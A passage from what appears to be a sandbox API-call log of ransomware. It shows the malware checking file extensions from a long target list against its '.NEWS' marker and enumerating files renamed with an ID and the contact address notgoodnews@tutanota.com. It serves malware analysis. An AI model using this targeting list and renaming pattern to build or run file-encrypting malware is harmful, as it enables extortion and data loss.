[0157.324] lstrlenW (lpString=".cpp") returned 4 [0157.324] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".cr2") returned 4 [0157.324] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".crt") returned 4 [0157.324] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".crw") returned 4 [0157.324] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".cs") returned 3 [0157.324] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.324] lstrlenW (lpString=".css") returned 4 [0157.324] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".csv") returned 4 [0157.324] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".cub") returned 4 [0157.324] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".dae") returned 4 [0157.324] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".dat") returned 4 [0157.324] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.324] lstrlenW (lpString=".db") returned 3 [0157.324] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.324] lstrlenW (lpString=".dbf") returned 4 [0157.325] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".dbx") returned 4 [0157.325] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".dc3") returned 4 [0157.325] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".dcm") returned 4 [0157.325] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".dcr") returned 4 [0157.325] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".der") returned 4 [0157.325] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".dib") returned 4 [0157.325] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".dic") returned 4 [0157.325] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".dif") returned 4 [0157.325] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".divx") returned 5 [0157.325] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.325] lstrlenW (lpString=".djvu") returned 5 [0157.325] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.325] lstrlenW (lpString=".dng") returned 4 [0157.325] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".doc") returned 4 [0157.325] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.325] lstrlenW (lpString=".docm") returned 5 [0157.325] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.325] lstrlenW (lpString=".docx") returned 5 [0157.325] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.325] lstrlenW (lpString=".dot") returned 4 [0157.326] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".dotm") returned 5 [0157.326] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.326] lstrlenW (lpString=".dotx") returned 5 [0157.326] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.326] lstrlenW (lpString=".dpx") returned 4 [0157.326] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".dqy") returned 4 [0157.326] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".dsn") returned 4 [0157.326] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".dt") returned 3 [0157.326] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.326] lstrlenW (lpString=".dtd") returned 4 [0157.326] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".dwg") returned 4 [0157.326] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".dwt") returned 4 [0157.326] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".dx") returned 3 [0157.326] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.326] lstrlenW (lpString=".dxf") returned 4 [0157.326] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.326] lstrlenW (lpString=".edml") returned 5 [0157.326] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.326] lstrlenW (lpString=".efd") returned 4 [0157.327] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".elf") returned 4 [0157.327] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".emf") returned 4 [0157.327] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".emz") returned 4 [0157.327] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".epf") returned 4 [0157.327] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".eps") returned 4 [0157.327] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".epsf") returned 5 [0157.327] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.327] lstrlenW (lpString=".epsp") returned 5 [0157.327] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.327] lstrlenW (lpString=".erf") returned 4 [0157.327] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".exr") returned 4 [0157.327] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".f4v") returned 4 [0157.327] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".fido") returned 5 [0157.327] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.327] lstrlenW (lpString=".flm") returned 4 [0157.327] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".flv") returned 4 [0157.327] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".frm") returned 4 [0157.327] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.327] lstrlenW (lpString=".fxg") returned 4 [0157.328] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.328] lstrlenW (lpString=".geo") returned 4 [0157.328] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.328] lstrlenW (lpString=".gif") returned 4 [0157.328] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.328] lstrlenW (lpString=".grs") returned 4 [0157.328] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.328] lstrlenW (lpString=".gz") returned 3 [0157.328] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.328] lstrlenW (lpString=".h") returned 2 [0157.328] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.328] lstrlenW (lpString=".hdr") returned 4 [0157.328] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".hpp") returned 4 [0157.329] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".hta") returned 4 [0157.329] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".htc") returned 4 [0157.329] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".htm") returned 4 [0157.329] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".html") returned 5 [0157.329] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.329] lstrlenW (lpString=".icb") returned 4 [0157.329] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".ics") returned 4 [0157.329] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".iff") returned 4 [0157.329] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".inc") returned 4 [0157.329] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.329] lstrlenW (lpString=".indd") returned 5 [0157.329] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.330] lstrlenW (lpString=".ini") returned 4 [0157.330] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".iqy") returned 4 [0157.330] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".j2c") returned 4 [0157.330] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".j2k") returned 4 [0157.330] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".java") returned 5 [0157.330] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.330] lstrlenW (lpString=".jp2") returned 4 [0157.330] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".jpc") returned 4 [0157.330] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".jpe") returned 4 [0157.330] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".jpeg") returned 5 [0157.330] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.330] lstrlenW (lpString=".jpf") returned 4 [0157.330] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".jpg") returned 4 [0157.330] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.330] lstrlenW (lpString=".jpx") returned 4 [0157.330] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".js") returned 3 [0157.331] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.331] lstrlenW (lpString=".jsf") returned 4 [0157.331] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".json") returned 5 [0157.331] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.331] lstrlenW (lpString=".jsp") returned 4 [0157.331] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".kdc") returned 4 [0157.331] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".kmz") returned 4 [0157.331] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".kwm") returned 4 [0157.331] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".lasso") returned 6 [0157.331] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.331] lstrlenW (lpString=".lbi") returned 4 [0157.331] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".lgf") returned 4 [0157.331] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".lgp") returned 4 [0157.331] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".log") returned 4 [0157.331] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".m1v") returned 4 [0157.331] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".m4a") returned 4 [0157.331] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".m4v") returned 4 [0157.331] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".max") returned 4 [0157.331] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".md") returned 3 [0157.331] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.331] lstrlenW (lpString=".mda") returned 4 [0157.331] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.331] lstrlenW (lpString=".mdb") returned 4 [0157.332] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mde") returned 4 [0157.332] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mdf") returned 4 [0157.332] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mdw") returned 4 [0157.332] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mef") returned 4 [0157.332] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mft") returned 4 [0157.332] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mfw") returned 4 [0157.332] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mht") returned 4 [0157.332] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mhtml") returned 6 [0157.332] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.332] lstrlenW (lpString=".mka") returned 4 [0157.332] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mkidx") returned 6 [0157.332] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.332] lstrlenW (lpString=".mkv") returned 4 [0157.332] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mos") returned 4 [0157.332] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mov") returned 4 [0157.332] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mp3") returned 4 [0157.332] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mp4") returned 4 [0157.332] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mpeg") returned 5 [0157.332] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.332] lstrlenW (lpString=".mpg") returned 4 [0157.332] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.332] lstrlenW (lpString=".mpv") returned 4 [0157.333] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".mrw") returned 4 [0157.333] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".msg") returned 4 [0157.333] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".mxl") returned 4 [0157.333] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".myd") returned 4 [0157.333] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".myi") returned 4 [0157.333] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".nef") returned 4 [0157.333] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".nrw") returned 4 [0157.333] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".obj") returned 4 [0157.333] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".odb") returned 4 [0157.333] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".odc") returned 4 [0157.333] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".odm") returned 4 [0157.333] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".odp") returned 4 [0157.333] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".ods") returned 4 [0157.333] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".oft") returned 4 [0157.333] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".one") returned 4 [0157.333] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.333] lstrlenW (lpString=".onepkg") returned 7 [0157.333] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.333] lstrlenW (lpString=".onetoc2") returned 8 [0157.333] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.334] lstrlenW (lpString=".opt") returned 4 [0157.334] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".oqy") returned 4 [0157.334] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".orf") returned 4 [0157.334] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".p12") returned 4 [0157.334] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".p7b") returned 4 [0157.334] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".p7c") returned 4 [0157.334] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pam") returned 4 [0157.334] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pbm") returned 4 [0157.334] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pct") returned 4 [0157.334] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pcx") returned 4 [0157.334] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pdd") returned 4 [0157.334] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pdf") returned 4 [0157.334] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pdp") returned 4 [0157.334] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pef") returned 4 [0157.334] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pem") returned 4 [0157.334] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pff") returned 4 [0157.334] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pfm") returned 4 [0157.334] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pfx") returned 4 [0157.334] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.334] lstrlenW (lpString=".pgm") returned 4 [0157.335] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".php") returned 4 [0157.335] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".php3") returned 5 [0157.335] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.335] lstrlenW (lpString=".php4") returned 5 [0157.335] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.335] lstrlenW (lpString=".php5") returned 5 [0157.335] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.335] lstrlenW (lpString=".phtml") returned 6 [0157.335] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.335] lstrlenW (lpString=".pict") returned 5 [0157.335] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.335] lstrlenW (lpString=".pl") returned 3 [0157.335] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.335] lstrlenW (lpString=".pls") returned 4 [0157.335] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".pm") returned 3 [0157.335] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.335] lstrlenW (lpString=".png") returned 4 [0157.335] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".pnm") returned 4 [0157.335] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".pot") returned 4 [0157.335] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".potm") returned 5 [0157.335] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.335] lstrlenW (lpString=".potx") returned 5 [0157.335] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.335] lstrlenW (lpString=".ppa") returned 4 [0157.335] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".ppam") returned 5 [0157.335] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.335] lstrlenW (lpString=".ppm") returned 4 [0157.335] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.335] lstrlenW (lpString=".pps") returned 4 [0157.335] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".ppsm") returned 5 [0157.336] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.336] lstrlenW (lpString=".ppt") returned 4 [0157.336] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".pptm") returned 5 [0157.336] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.336] lstrlenW (lpString=".pptx") returned 5 [0157.336] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.336] lstrlenW (lpString=".prn") returned 4 [0157.336] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".ps") returned 3 [0157.336] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.336] lstrlenW (lpString=".psb") returned 4 [0157.336] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".psd") returned 4 [0157.336] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".pst") returned 4 [0157.336] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".ptx") returned 4 [0157.336] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".pub") returned 4 [0157.336] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".pwm") returned 4 [0157.336] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".pxr") returned 4 [0157.336] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".py") returned 3 [0157.336] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.336] lstrlenW (lpString=".qt") returned 3 [0157.336] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.336] lstrlenW (lpString=".r3d") returned 4 [0157.336] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".raf") returned 4 [0157.336] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0157.336] lstrlenW (lpString=".rar") returned 4 [0157.336] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0157.337] lstrlenW (lpString=".raw") returned 4 [0157.337] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0157.337] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38bf426c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38bf426c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38bf426c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.337] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.337] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.337] FindClose (in: hFindFile=0x484658 | out: hFindFile=0x484658) returned 1 [0157.338] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.338] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0157.338] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.338] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484798 [0157.339] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.339] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d26764, ftCreationTime.dwHighDateTime=0x1d5e206, 